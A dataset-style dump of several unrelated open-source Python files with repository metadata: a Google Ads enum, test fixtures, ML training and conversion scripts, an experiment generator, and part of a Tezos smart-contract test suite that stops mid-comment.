google/ads/googleads/v8/googleads-py/google/ads/googleads/v8/enums/types/shared_set_status.py

googleapis/googleapis-gen

d84824c78563d59b0e58d5664bfaa430e9ad7e7a

[ "Apache-2.0" ]

6

2021-02-02T23:46:11.000Z

2021-11-15T01:46:02.000Z

google/ads/googleads/v8/googleads-py/google/ads/googleads/v8/enums/types/shared_set_status.py

googleapis/googleapis-gen

d84824c78563d59b0e58d5664bfaa430e9ad7e7a

[ "Apache-2.0" ]

4

2021-01-28T23:25:45.000Z

2021-08-30T01:55:16.000Z

# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import proto # type: ignore __protobuf__ = proto.module( package='google.ads.googleads.v8.enums', marshal='google.ads.googleads.v8', manifest={ 'SharedSetStatusEnum', }, ) class SharedSetStatusEnum(proto.Message): r"""Container for enum describing types of shared set statuses. """ class SharedSetStatus(proto.Enum): r"""Enum listing the possible shared set statuses.""" UNSPECIFIED = 0 UNKNOWN = 1 ENABLED = 2 REMOVED = 3 __all__ = tuple(sorted(__protobuf__.manifest))

28.825

74

0.700781

import proto __protobuf__ = proto.module( package='google.ads.googleads.v8.enums', marshal='google.ads.googleads.v8', manifest={ 'SharedSetStatusEnum', }, ) class SharedSetStatusEnum(proto.Message): class SharedSetStatus(proto.Enum): UNSPECIFIED = 0 UNKNOWN = 1 ENABLED = 2 REMOVED = 3 __all__ = tuple(sorted(__protobuf__.manifest))

true

f7103fc1085344a33c3da77ee0da97ece10a9e77

1,420

py

Python

tests/conftest.py

xaviml/z2m_ikea_controller

e612af5a913e8b4784dcaa23ea5319115427d083

[ "MIT" ]

19

2019-11-21T19:51:40.000Z

2020-01-14T09:24:33.000Z

tests/conftest.py

xaviml/z2m_ikea_controller

e612af5a913e8b4784dcaa23ea5319115427d083

[ "MIT" ]

11

2019-11-20T16:43:35.000Z

2020-01-17T16:23:06.000Z

tests/conftest.py

xaviml/z2m_ikea_controller

e612af5a913e8b4784dcaa23ea5319115427d083

[ "MIT" ]

5

2019-12-20T21:31:07.000Z

2020-01-06T18:49:52.000Z

import asyncio from asyncio import Task from typing import Any, Callable import appdaemon.plugins.hass.hassapi as hass import appdaemon.plugins.mqtt.mqttapi as mqtt import pytest from cx_core import Controller from pytest import MonkeyPatch from tests.test_utils import fake_fn async def fake_run_in( self: Controller, fn: Callable[..., Any], delay: float, **kwargs: Any ) -> "Task[None]": async def inner() -> None: await asyncio.sleep(delay) await fn(kwargs) task = asyncio.create_task(inner()) return task async def fake_cancel_timer(self: Controller, task: "Task[None]") -> bool: return task.cancel() @pytest.fixture(autouse=True) def hass_mock(monkeypatch: MonkeyPatch) -> None: """ Fixture for set up the tests, mocking appdaemon functions """ monkeypatch.setattr(hass.Hass, "__init__", fake_fn()) monkeypatch.setattr(hass.Hass, "listen_event", fake_fn(async_=True)) monkeypatch.setattr(mqtt.Mqtt, "listen_event", fake_fn(async_=True)) monkeypatch.setattr(hass.Hass, "listen_state", fake_fn(async_=True)) monkeypatch.setattr(hass.Hass, "log", fake_fn()) monkeypatch.setattr(hass.Hass, "call_service", fake_fn(async_=True)) monkeypatch.setattr(hass.Hass, "get_ad_version", fake_fn(to_return="4.0.0")) monkeypatch.setattr(hass.Hass, "run_in", fake_run_in) monkeypatch.setattr(hass.Hass, "cancel_timer", fake_cancel_timer)

32.272727

80

0.728169

import asyncio from asyncio import Task from typing import Any, Callable import appdaemon.plugins.hass.hassapi as hass import appdaemon.plugins.mqtt.mqttapi as mqtt import pytest from cx_core import Controller from pytest import MonkeyPatch from tests.test_utils import fake_fn async def fake_run_in( self: Controller, fn: Callable[..., Any], delay: float, **kwargs: Any ) -> "Task[None]": async def inner() -> None: await asyncio.sleep(delay) await fn(kwargs) task = asyncio.create_task(inner()) return task async def fake_cancel_timer(self: Controller, task: "Task[None]") -> bool: return task.cancel() @pytest.fixture(autouse=True) def hass_mock(monkeypatch: MonkeyPatch) -> None: monkeypatch.setattr(hass.Hass, "__init__", fake_fn()) monkeypatch.setattr(hass.Hass, "listen_event", fake_fn(async_=True)) monkeypatch.setattr(mqtt.Mqtt, "listen_event", fake_fn(async_=True)) monkeypatch.setattr(hass.Hass, "listen_state", fake_fn(async_=True)) monkeypatch.setattr(hass.Hass, "log", fake_fn()) monkeypatch.setattr(hass.Hass, "call_service", fake_fn(async_=True)) monkeypatch.setattr(hass.Hass, "get_ad_version", fake_fn(to_return="4.0.0")) monkeypatch.setattr(hass.Hass, "run_in", fake_run_in) monkeypatch.setattr(hass.Hass, "cancel_timer", fake_cancel_timer)

true

f7104045e9f92729e7e05787170a633970a9e9c2

921

py

Python

projects/Task019_ADAM/submission/scripts/convert.py

joeranbosma/nnDetection

2ebbf1cdc8a8794c73e325f06fea50632c78ae8c

[ "BSD-3-Clause" ]

242

2021-05-17T12:31:39.000Z

2022-03-31T11:51:29.000Z

projects/Task019_ADAM/submission/scripts/convert.py

joeranbosma/nnDetection

2ebbf1cdc8a8794c73e325f06fea50632c78ae8c

[ "BSD-3-Clause" ]

59

2021-06-02T07:32:10.000Z

2022-03-31T18:45:52.000Z

projects/Task019_ADAM/submission/scripts/convert.py

joeranbosma/nnDetection

2ebbf1cdc8a8794c73e325f06fea50632c78ae8c

[ "BSD-3-Clause" ]

38

2021-05-31T14:01:37.000Z

2022-03-21T08:24:40.000Z

import argparse from pathlib import Path from nndet.io import load_pickle from nndet.core.boxes.ops_np import box_center_np THRESHOLD = 0.5 if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('source', type=Path) args = parser.parse_args() source = args.source predictions = load_pickle(source / "case_boxes.pkl") boxes = predictions["pred_boxes"] scores = predictions["pred_scores"] keep = scores > THRESHOLD boxes = boxes[keep] if boxes.size > 0: centers = box_center_np(boxes) else: centers = [] with open(source / "result.txt", "a") as f: if len(centers) > 0: for c in centers[:-1]: f.write(f"{round(float(c[2]))}, {round(float(c[1]))}, {round(float(c[0]))}\n") c = centers[-1] f.write(f"{round(float(c[2]))}, {round(float(c[1]))}, {round(float(c[0]))}")

27.088235

94

0.604777

import argparse from pathlib import Path from nndet.io import load_pickle from nndet.core.boxes.ops_np import box_center_np THRESHOLD = 0.5 if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('source', type=Path) args = parser.parse_args() source = args.source predictions = load_pickle(source / "case_boxes.pkl") boxes = predictions["pred_boxes"] scores = predictions["pred_scores"] keep = scores > THRESHOLD boxes = boxes[keep] if boxes.size > 0: centers = box_center_np(boxes) else: centers = [] with open(source / "result.txt", "a") as f: if len(centers) > 0: for c in centers[:-1]: f.write(f"{round(float(c[2]))}, {round(float(c[1]))}, {round(float(c[0]))}\n") c = centers[-1] f.write(f"{round(float(c[2]))}, {round(float(c[1]))}, {round(float(c[0]))}")

true

f710422e65197ad6adf1832fd2c1d64dfa3c8bbc

5,612

py

Python

trainval.py

DoranLyong/DeepFish

3ea3e13653f708d4a8dcb54b990dcc2997edf4e9

[ "MIT" ]

1

2020-12-14T21:30:19.000Z

trainval.py

DoranLyong/DeepFish

3ea3e13653f708d4a8dcb54b990dcc2997edf4e9

[ "MIT" ]

null

trainval.py

DoranLyong/DeepFish

3ea3e13653f708d4a8dcb54b990dcc2997edf4e9

[ "MIT" ]

null

import torch import numpy as np import argparse import pandas as pd import sys import os from torch import nn from torch.nn import functional as F import tqdm import pprint from src import utils as ut import torchvision from haven import haven_utils as hu from haven import haven_chk as hc from src import datasets, models from torch.utils.data import DataLoader import exp_configs from torch.utils.data.sampler import RandomSampler from src import wrappers def trainval(exp_dict, savedir_base, reset, metrics_flag=True, datadir=None, cuda=False): # bookkeeping # --------------- # get experiment directory exp_id = hu.hash_dict(exp_dict) savedir = os.path.join(savedir_base, exp_id) if reset: # delete and backup experiment hc.delete_experiment(savedir, backup_flag=True) # create folder and save the experiment dictionary os.makedirs(savedir, exist_ok=True) hu.save_json(os.path.join(savedir, 'exp_dict.json'), exp_dict) print(pprint.pprint(exp_dict)) print('Experiment saved in %s' % savedir) # set seed # ================== seed = 42 np.random.seed(seed) torch.manual_seed(seed) if cuda: device = 'cuda' torch.cuda.manual_seed_all(seed) assert torch.cuda.is_available(), 'cuda is not, available please run with "-c 0"' else: device = 'cpu' print('Running on device: %s' % device) # Dataset # Load val set and train set val_set = datasets.get_dataset(dataset_name=exp_dict["dataset"], split="val", transform=exp_dict.get("transform"), datadir=datadir) train_set = datasets.get_dataset(dataset_name=exp_dict["dataset"], split="train", transform=exp_dict.get("transform"), datadir=datadir) # Load train loader, val loader, and vis loader train_loader = DataLoader(train_set, sampler=RandomSampler(train_set, replacement=True, num_samples=max(min(500, len(train_set)), len(val_set))), batch_size=exp_dict["batch_size"]) val_loader = DataLoader(val_set, shuffle=False, batch_size=exp_dict["batch_size"]) vis_loader = DataLoader(val_set, sampler=ut.SubsetSampler(train_set, indices=[0, 1, 2]), batch_size=1) # Create model, opt, wrapper model_original = models.get_model(exp_dict["model"], exp_dict=exp_dict).cuda() opt = torch.optim.Adam(model_original.parameters(), lr=1e-5, weight_decay=0.0005) model = wrappers.get_wrapper(exp_dict["wrapper"], model=model_original, opt=opt).cuda() score_list = [] # Checkpointing # ============= score_list_path = os.path.join(savedir, "score_list.pkl") model_path = os.path.join(savedir, "model_state_dict.pth") opt_path = os.path.join(savedir, "opt_state_dict.pth") if os.path.exists(score_list_path): # resume experiment score_list = ut.load_pkl(score_list_path) model.load_state_dict(torch.load(model_path)) opt.load_state_dict(torch.load(opt_path)) s_epoch = score_list[-1]["epoch"] + 1 else: # restart experiment score_list = [] s_epoch = 0 # Run training and validation for epoch in range(s_epoch, exp_dict["max_epoch"]): score_dict = {"epoch": epoch} # visualize # model.vis_on_loader(vis_loader, savedir=os.path.join(savedir, "images")) # validate score_dict.update(model.val_on_loader(val_loader)) # train score_dict.update(model.train_on_loader(train_loader)) # Add score_dict to score_list score_list += [score_dict] # Report and save print(pd.DataFrame(score_list).tail()) hu.save_pkl(score_list_path, score_list) hu.torch_save(model_path, model.state_dict()) hu.torch_save(opt_path, opt.state_dict()) print("Saved in %s" % savedir) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-e', '--exp_group_list', nargs='+') parser.add_argument('-sb', '--savedir_base', required=True) parser.add_argument('-d', '--datadir', required=True) parser.add_argument('-r', '--reset', default=0, type=int) parser.add_argument('-ei', '--exp_id', default=None) parser.add_argument('-c', '--cuda', type=int, default=1) args = parser.parse_args() # Collect experiments # ------------------- if args.exp_id is not None: # select one experiment savedir = os.path.join(args.savedir_base, args.exp_id) exp_dict = hu.load_json(os.path.join(savedir, 'exp_dict.json')) exp_list = [exp_dict] else: # select exp group exp_list = [] for exp_group_name in args.exp_group_list: exp_list += exp_configs.EXP_GROUPS[exp_group_name] #### # Run experiments or View them # ---------------------------- # run experiments for exp_dict in exp_list: # do trainval trainval(exp_dict=exp_dict, savedir_base=args.savedir_base, reset=args.reset, datadir=args.datadir, cuda=args.cuda)

32.818713

91

0.596044

import torch import numpy as np import argparse import pandas as pd import sys import os from torch import nn from torch.nn import functional as F import tqdm import pprint from src import utils as ut import torchvision from haven import haven_utils as hu from haven import haven_chk as hc from src import datasets, models from torch.utils.data import DataLoader import exp_configs from torch.utils.data.sampler import RandomSampler from src import wrappers def trainval(exp_dict, savedir_base, reset, metrics_flag=True, datadir=None, cuda=False): exp_id = hu.hash_dict(exp_dict) savedir = os.path.join(savedir_base, exp_id) if reset: hc.delete_experiment(savedir, backup_flag=True) os.makedirs(savedir, exist_ok=True) hu.save_json(os.path.join(savedir, 'exp_dict.json'), exp_dict) print(pprint.pprint(exp_dict)) print('Experiment saved in %s' % savedir) seed = 42 np.random.seed(seed) torch.manual_seed(seed) if cuda: device = 'cuda' torch.cuda.manual_seed_all(seed) assert torch.cuda.is_available(), 'cuda is not, available please run with "-c 0"' else: device = 'cpu' print('Running on device: %s' % device) val_set = datasets.get_dataset(dataset_name=exp_dict["dataset"], split="val", transform=exp_dict.get("transform"), datadir=datadir) train_set = datasets.get_dataset(dataset_name=exp_dict["dataset"], split="train", transform=exp_dict.get("transform"), datadir=datadir) train_loader = DataLoader(train_set, sampler=RandomSampler(train_set, replacement=True, num_samples=max(min(500, len(train_set)), len(val_set))), batch_size=exp_dict["batch_size"]) val_loader = DataLoader(val_set, shuffle=False, batch_size=exp_dict["batch_size"]) vis_loader = DataLoader(val_set, sampler=ut.SubsetSampler(train_set, indices=[0, 1, 2]), batch_size=1) model_original = models.get_model(exp_dict["model"], exp_dict=exp_dict).cuda() opt = torch.optim.Adam(model_original.parameters(), lr=1e-5, weight_decay=0.0005) model = wrappers.get_wrapper(exp_dict["wrapper"], model=model_original, opt=opt).cuda() score_list = [] score_list_path = os.path.join(savedir, "score_list.pkl") model_path = os.path.join(savedir, "model_state_dict.pth") opt_path = os.path.join(savedir, "opt_state_dict.pth") if os.path.exists(score_list_path): score_list = ut.load_pkl(score_list_path) model.load_state_dict(torch.load(model_path)) opt.load_state_dict(torch.load(opt_path)) s_epoch = score_list[-1]["epoch"] + 1 else: score_list = [] s_epoch = 0 for epoch in range(s_epoch, exp_dict["max_epoch"]): score_dict = {"epoch": epoch} score_dict.update(model.val_on_loader(val_loader)) score_dict.update(model.train_on_loader(train_loader)) score_list += [score_dict] print(pd.DataFrame(score_list).tail()) hu.save_pkl(score_list_path, score_list) hu.torch_save(model_path, model.state_dict()) hu.torch_save(opt_path, opt.state_dict()) print("Saved in %s" % savedir) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-e', '--exp_group_list', nargs='+') parser.add_argument('-sb', '--savedir_base', required=True) parser.add_argument('-d', '--datadir', required=True) parser.add_argument('-r', '--reset', default=0, type=int) parser.add_argument('-ei', '--exp_id', default=None) parser.add_argument('-c', '--cuda', type=int, default=1) args = parser.parse_args() if args.exp_id is not None: savedir = os.path.join(args.savedir_base, args.exp_id) exp_dict = hu.load_json(os.path.join(savedir, 'exp_dict.json')) exp_list = [exp_dict] else: exp_list = [] for exp_group_name in args.exp_group_list: exp_list += exp_configs.EXP_GROUPS[exp_group_name] for exp_dict in exp_list: trainval(exp_dict=exp_dict, savedir_base=args.savedir_base, reset=args.reset, datadir=args.datadir, cuda=args.cuda)

true

f71042b95d0705e8bfa06f237b0c7ba6890bd92a

3,484

py

Python

scripts/gen_ksim_outside_exp.py

ctring/konex

7bf55f68f9ddcba6e2007e9c8049899cdb707d69

[ "MIT" ]

null

scripts/gen_ksim_outside_exp.py

ctring/konex

7bf55f68f9ddcba6e2007e9c8049899cdb707d69

[ "MIT" ]

null

scripts/gen_ksim_outside_exp.py

ctring/konex

7bf55f68f9ddcba6e2007e9c8049899cdb707d69

[ "MIT" ]

null

#!/usr/bin/python ''' Generate a command file for automated kSim experiment with out-of-dataset queries Example: ./gen_ksim_outside_exp.py 10 10 dataset.txt 0.3 experiment.txt results.txt -k 1 3 5 7 -m 7 --seed 23 -n 10 ''' from __future__ import absolute_import from __future__ import division from __future__ import print_function import argparse import os import random def pick_random(count, length, min_length=2, n=10): picked = [] for i in range(n): idx = random.randint(0, count - 1) start = random.randint(0, length - min_length) end = start + random.randint(min_length, length - start) picked.append((idx, start, end)) return picked if __name__ == '__main__': parser = argparse.ArgumentParser(description='Picks random time series given the ' 'dimension of a dataset.') parser.add_argument('count', type=int, help='number of items in the query set.') parser.add_argument('length', type=int, help='length of each item in the dataset.') parser.add_argument('ds_path', help='path to the dataset used in the experiment') parser.add_argument('q_path', help='path to the query file used in the experiment') parser.add_argument('st', type=float, help='similarity threshold for the experiment') parser.add_argument('exp_path', help='path to the K-ONEX experiment script') parser.add_argument('exp_result_path', help='path for the result file') parser.add_argument('-k', nargs='+', help='number of similar time series to look for.' 'Multiple values can be specified (separated by space).') parser.add_argument('-m', help='maximum number of multiple of h ' '(number of time series to be examined).') parser.add_argument('-n', type=int, default=10, help='number of sequences to be picked (default: 10).') parser.add_argument('--paa', type=int, nargs='+', help='block sizes for PAA.') parser.add_argument('--seed', type=int, help='seed for the random number generator.') parser.add_argument('--min-length', type=int, default=10, help='minimum length of each sequence (default: 10).') parser.add_argument('--fmt', default='{0} [{1}, {2}]', help='python format for output (default: {0} [{1}, {2}])') args = parser.parse_args() random.seed(args.seed) seq = pick_random(args.count, args.length, args.min_length, args.n) for s in seq: print(args.fmt.format(s[0], s[1], s[2])) print() with open(args.exp_path, 'w') as f: print('load {}'.format(args.ds_path), file=f) print('load {}'.format(args.q_path), file=f) group_file = '%s_GROUPS_%.1f' % (args.ds_path, args.st) if os.path.exists(group_file): print('loadGroup 0 {}'.format(group_file), file=f) else: print('group 0 {}'.format(args.st), file=f) print('saveGroup 0 {}'.format(group_file), file=f) print('testSim {}'.format(args.exp_result_path), file=f) for b in args.paa: for k in args.k: for s in seq: print('testSim {} {} {} 0 1 {} {} {}'.format(k, args.m, b, s[0], s[1], s[2]), file=f) print('Experiment script is generated at {}'.format(args.exp_path))

43.55

110

0.602755

from __future__ import absolute_import from __future__ import division from __future__ import print_function import argparse import os import random def pick_random(count, length, min_length=2, n=10): picked = [] for i in range(n): idx = random.randint(0, count - 1) start = random.randint(0, length - min_length) end = start + random.randint(min_length, length - start) picked.append((idx, start, end)) return picked if __name__ == '__main__': parser = argparse.ArgumentParser(description='Picks random time series given the ' 'dimension of a dataset.') parser.add_argument('count', type=int, help='number of items in the query set.') parser.add_argument('length', type=int, help='length of each item in the dataset.') parser.add_argument('ds_path', help='path to the dataset used in the experiment') parser.add_argument('q_path', help='path to the query file used in the experiment') parser.add_argument('st', type=float, help='similarity threshold for the experiment') parser.add_argument('exp_path', help='path to the K-ONEX experiment script') parser.add_argument('exp_result_path', help='path for the result file') parser.add_argument('-k', nargs='+', help='number of similar time series to look for.' 'Multiple values can be specified (separated by space).') parser.add_argument('-m', help='maximum number of multiple of h ' '(number of time series to be examined).') parser.add_argument('-n', type=int, default=10, help='number of sequences to be picked (default: 10).') parser.add_argument('--paa', type=int, nargs='+', help='block sizes for PAA.') parser.add_argument('--seed', type=int, help='seed for the random number generator.') parser.add_argument('--min-length', type=int, default=10, help='minimum length of each sequence (default: 10).') parser.add_argument('--fmt', default='{0} [{1}, {2}]', help='python format for output (default: {0} [{1}, {2}])') args = parser.parse_args() random.seed(args.seed) seq = pick_random(args.count, args.length, args.min_length, args.n) for s in seq: print(args.fmt.format(s[0], s[1], s[2])) print() with open(args.exp_path, 'w') as f: print('load {}'.format(args.ds_path), file=f) print('load {}'.format(args.q_path), file=f) group_file = '%s_GROUPS_%.1f' % (args.ds_path, args.st) if os.path.exists(group_file): print('loadGroup 0 {}'.format(group_file), file=f) else: print('group 0 {}'.format(args.st), file=f) print('saveGroup 0 {}'.format(group_file), file=f) print('testSim {}'.format(args.exp_result_path), file=f) for b in args.paa: for k in args.k: for s in seq: print('testSim {} {} {} 0 1 {} {} {}'.format(k, args.m, b, s[0], s[1], s[2]), file=f) print('Experiment script is generated at {}'.format(args.exp_path))

true

f71042eebecd3985f43d5e37331634edf3eff6ca

407

py

Python

pmfp/__main__.py

Python-Tools/pmfp

832273890eec08e84f9c68d03f3316b2c8139133

[ "MIT" ]

4

2017-09-15T03:38:56.000Z

2019-12-16T02:03:14.000Z

pmfp/__main__.py

Python-Tools/pmfp

832273890eec08e84f9c68d03f3316b2c8139133

[ "MIT" ]

1

2021-04-27T10:51:42.000Z

pmfp/__main__.py

Python-Tools/pmfp

832273890eec08e84f9c68d03f3316b2c8139133

[ "MIT" ]

null

#!/usr/bin/env python """PMFP. 一个项目管理脚手架. """ import warnings from .entrypoint import ppm import sys from typing import List from pmfp.entrypoint import ppm from colorama import init init() def main(argv: List[str] = sys.argv[1:]) -> None: """服务启动入口. 设置覆盖顺序`环境变量>命令行参数`>`'-c'指定的配置文件`>`项目启动位置的配置文件`>默认配置. """ ppm(argv) return None if __name__ == "__main__": main(sys.argv[1:])

15.074074

56

0.658477

import warnings from .entrypoint import ppm import sys from typing import List from pmfp.entrypoint import ppm from colorama import init init() def main(argv: List[str] = sys.argv[1:]) -> None: ppm(argv) return None if __name__ == "__main__": main(sys.argv[1:])

true

f710440ca35c421c0923057216c8cf72bdf47d8b

57,471

py

Python

tests_python/tests_009/test_contract.py

ulrikstrid/tezos

96d4653ba4fb48eccdd0ca309c98254c39396712

[ "MIT" ]

null

tests_python/tests_009/test_contract.py

ulrikstrid/tezos

96d4653ba4fb48eccdd0ca309c98254c39396712

[ "MIT" ]

null

tests_python/tests_009/test_contract.py

ulrikstrid/tezos

96d4653ba4fb48eccdd0ca309c98254c39396712

[ "MIT" ]

null

import os import re import json import itertools from typing import List, Union, Any import pytest from client.client import Client from tools import utils from tools.constants import IDENTITIES from .contract_paths import ( CONTRACT_PATH, ILLTYPED_CONTRACT_PATH, all_contracts, all_legacy_contracts, ) def file_basename(path): return os.path.splitext(os.path.basename(path))[0] # Generic piece of code to originate a contract def originate( client, session, contract, init_storage, amount, contract_name=None, sender='bootstrap1', baker='bootstrap5', arguments=None, ): if contract_name is None: contract_name = file_basename(contract) args = ['--init', init_storage, '--burn-cap', '10.0'] if arguments is not None: args += arguments origination = client.originate( contract_name, amount, sender, contract, args ) session['contract'] = origination.contract print(origination.contract) utils.bake(client, baker) assert utils.check_block_contains_operations( client, [origination.operation_hash] ) return origination @pytest.mark.contract @pytest.mark.incremental class TestManager: def test_manager_origination(self, client: Client, session: dict): path = os.path.join(CONTRACT_PATH, 'entrypoints', 'manager.tz') pubkey = IDENTITIES['bootstrap2']['identity'] originate(client, session, path, f'"{pubkey}"', 1000) originate( client, session, path, f'"{pubkey}"', 1000, contract_name="manager2" ) def test_delegatable_origination(self, client: Client, session: dict): path = os.path.join( CONTRACT_PATH, 'entrypoints', 'delegatable_target.tz' ) pubkey = IDENTITIES['bootstrap2']['identity'] originate( client, session, path, f'Pair "{pubkey}" (Pair "hello" 45)', 1000 ) def test_target_with_entrypoints_origination(self, client: Client, session): path = os.path.join( CONTRACT_PATH, 'entrypoints', 'big_map_entrypoints.tz' ) originate( client, session, path, 'Pair {} {}', 1000, contract_name='target' ) def test_target_without_entrypoints_origination( self, client: Client, session ): path = os.path.join( CONTRACT_PATH, 'entrypoints', 'no_entrypoint_target.tz' ) originate( client, session, path, 'Pair "hello" 42', 1000, contract_name='target_no_entrypoints', ) def test_target_without_default_origination(self, client: Client, session): path = os.path.join( CONTRACT_PATH, 'entrypoints', 'no_default_target.tz' ) originate( client, session, path, 'Pair "hello" 42', 1000, contract_name='target_no_default', ) def test_target_with_root_origination(self, client: Client, session): path = os.path.join(CONTRACT_PATH, 'entrypoints', 'rooted_target.tz') originate( client, session, path, 'Pair "hello" 42', 1000, contract_name='rooted_target', ) def test_manager_set_delegate(self, client: Client): client.set_delegate('manager', 'bootstrap2', []) utils.bake(client, 'bootstrap5') bootstrap2_pkh = IDENTITIES['bootstrap2']['identity'] client.set_delegate('delegatable_target', bootstrap2_pkh, []) utils.bake(client, 'bootstrap5') delegate = IDENTITIES['bootstrap2']['identity'] assert client.get_delegate('manager', []).delegate == delegate assert ( client.get_delegate('delegatable_target', []).delegate == delegate ) client.set_delegate('manager', 'bootstrap3', []) utils.bake(client, 'bootstrap5') client.set_delegate('delegatable_target', 'bootstrap3', []) utils.bake(client, 'bootstrap5') delegate = IDENTITIES['bootstrap3']['identity'] assert client.get_delegate('manager', []).delegate == delegate assert ( client.get_delegate('delegatable_target', []).delegate == delegate ) def test_manager_withdraw_delegate(self, client: Client): client.withdraw_delegate('manager', []) utils.bake(client, 'bootstrap5') client.withdraw_delegate('delegatable_target', []) utils.bake(client, 'bootstrap5') assert client.get_delegate('manager', []).delegate is None assert client.get_delegate('delegatable_target', []).delegate is None def test_transfer_to_manager(self, client: Client): balance = client.get_mutez_balance('manager') balance_bootstrap = client.get_mutez_balance('bootstrap2') amount = 10.001 amount_mutez = utils.mutez_of_tez(amount) client.transfer( amount, 'bootstrap2', 'manager', ['--gas-limit', f'{128 * 15450 + 108}'], ) utils.bake(client, 'bootstrap5') new_balance = client.get_mutez_balance('manager') new_balance_bootstrap = client.get_mutez_balance('bootstrap2') fee = 0.000548 fee_mutez = utils.mutez_of_tez(fee) assert balance + amount_mutez == new_balance assert ( balance_bootstrap - fee_mutez - amount_mutez == new_balance_bootstrap ) def test_simple_transfer_from_manager_to_implicit(self, client: Client): balance = client.get_mutez_balance('manager') balance_bootstrap = client.get_mutez_balance('bootstrap2') amount = 10.1 amount_mutez = utils.mutez_of_tez(amount) client.transfer( amount, 'manager', 'bootstrap2', ['--gas-limit', f'{128 * 26350 + 12}'], ) utils.bake(client, 'bootstrap5') new_balance = client.get_mutez_balance('manager') new_balance_bootstrap = client.get_mutez_balance('bootstrap2') fee = 0.000794 fee_mutez = utils.mutez_of_tez(fee) assert balance - amount_mutez == new_balance assert ( balance_bootstrap + amount_mutez - fee_mutez == new_balance_bootstrap ) def test_transfer_from_manager_to_manager(self, client: Client): balance = client.get_mutez_balance('manager') balance_dest = client.get_mutez_balance('manager2') balance_bootstrap = client.get_mutez_balance('bootstrap2') amount = 10 amount_mutez = utils.mutez_of_tez(amount) client.transfer( amount, 'manager', 'manager2', ['--gas-limit', f'{128 * 44950 + 112}'], ) utils.bake(client, 'bootstrap5') new_balance = client.get_mutez_balance('manager') new_balance_dest = client.get_mutez_balance('manager2') new_balance_bootstrap = client.get_mutez_balance('bootstrap2') fee = 0.001124 fee_mutez = utils.mutez_of_tez(fee) assert balance_bootstrap - fee_mutez == new_balance_bootstrap assert balance - amount_mutez == new_balance assert balance_dest + amount_mutez == new_balance_dest def test_transfer_from_manager_to_default(self, client: Client): client.transfer( 10, 'manager', 'bootstrap2', ['--entrypoint', 'default'] ) utils.bake(client, 'bootstrap5') client.transfer(10, 'manager', 'manager', ['--entrypoint', 'default']) utils.bake(client, 'bootstrap5') def test_transfer_from_manager_to_target(self, client: Client): client.transfer(10, 'manager', 'target', ['--burn-cap', '0.356']) utils.bake(client, 'bootstrap5') def test_transfer_from_manager_to_entrypoint_with_args( self, client: Client ): arg = 'Pair "hello" 42' # using 'transfer' client.transfer( 0, 'manager', 'target', ['--entrypoint', 'add_left', '--arg', arg, '--burn-cap', '0.067'], ) utils.bake(client, 'bootstrap5') client.transfer( 0, 'manager', 'target', ['--entrypoint', 'mem_left', '--arg', '"hello"'], ) utils.bake(client, 'bootstrap5') # using 'call' client.call( 'manager', 'target', ['--entrypoint', 'add_left', '--arg', arg, '--burn-cap', '0.067'], ) utils.bake(client, 'bootstrap5') client.call( 'manager', 'target', ['--entrypoint', 'mem_left', '--arg', '"hello"'], ) utils.bake(client, 'bootstrap5') def test_transfer_from_manager_no_entrypoint_with_args( self, client: Client ): arg = 'Left Unit' client.transfer(0, 'manager', 'target_no_entrypoints', ['--arg', arg]) utils.bake(client, 'bootstrap5') client.call('manager', 'target_no_entrypoints', ['--arg', arg]) utils.bake(client, 'bootstrap5') def test_transfer_from_manager_to_no_default_with_args( self, client: Client ): arg = 'Left Unit' client.transfer(0, 'manager', 'target_no_default', ['--arg', arg]) utils.bake(client, 'bootstrap5') client.call('manager', 'target_no_default', ['--arg', arg]) utils.bake(client, 'bootstrap5') def test_transfer_from_manager_to_rooted_target_with_args( self, client: Client ): arg = 'Left Unit' client.transfer( 0, 'manager', 'rooted_target', ['--arg', arg, '--entrypoint', 'root'], ) utils.bake(client, 'bootstrap5') client.call( 'manager', 'rooted_target', ['--arg', arg, '--entrypoint', 'root'] ) utils.bake(client, 'bootstrap5') def test_transfer_json_to_entrypoint_with_args(self, client): balance = client.get_mutez_balance('manager') balance_bootstrap = client.get_mutez_balance('bootstrap2') fee = 0.0123 fee_mutez = utils.mutez_of_tez(fee) json_obj = [ { "destination": "target", "amount": "0", "fee": str(fee), "gas-limit": "65942", "storage-limit": "1024", "arg": 'Pair "hello" 42', "entrypoint": "add_left", } ] json_ops = json.dumps(json_obj, separators=(',', ':')) client.run(client.cmd_batch('manager', json_ops)) utils.bake(client, 'bootstrap5') new_balance = client.get_mutez_balance('manager') new_balance_bootstrap = client.get_mutez_balance('bootstrap2') assert balance == new_balance assert balance_bootstrap - fee_mutez == new_balance_bootstrap def test_multiple_transfers(self, client): balance = client.get_mutez_balance('manager') balance_bootstrap2 = client.get_mutez_balance('bootstrap2') balance_bootstrap3 = client.get_mutez_balance('bootstrap3') amount_2 = 10.1 amount_mutez_2 = utils.mutez_of_tez(amount_2) amount_3 = 11.01 amount_mutez_3 = utils.mutez_of_tez(amount_3) json_obj = [ {"destination": "bootstrap2", "amount": str(amount_2)}, {"destination": "bootstrap3", "amount": str(amount_3)}, ] json_ops = json.dumps(json_obj, separators=(',', ':')) client.run(client.cmd_batch('manager', json_ops)) utils.bake(client, 'bootstrap5') new_balance = client.get_mutez_balance('manager') new_balance_bootstrap2 = client.get_mutez_balance('bootstrap2') new_balance_bootstrap3 = client.get_mutez_balance('bootstrap3') fee_mutez = 794 + 698 assert balance - amount_mutez_2 - amount_mutez_3 == new_balance assert ( balance_bootstrap2 + amount_mutez_2 - fee_mutez == new_balance_bootstrap2 ) assert balance_bootstrap3 + amount_mutez_3 == new_balance_bootstrap3 # This test to verifies contract execution order. There are 3 # contracts: Storer, Caller, and Appender. Storer appends its argument # to storage. Caller calls the list of unit contracts in its # storage. Appender calls the string contract in its storage with a # stored argument. # # For each test, there is one unique Storer. Each test is # parameterized by a tree and the expected final storage of the # Storer. A leaf in the tree is a string. Inner nodes are lists of # leafs/inner nodes. The test 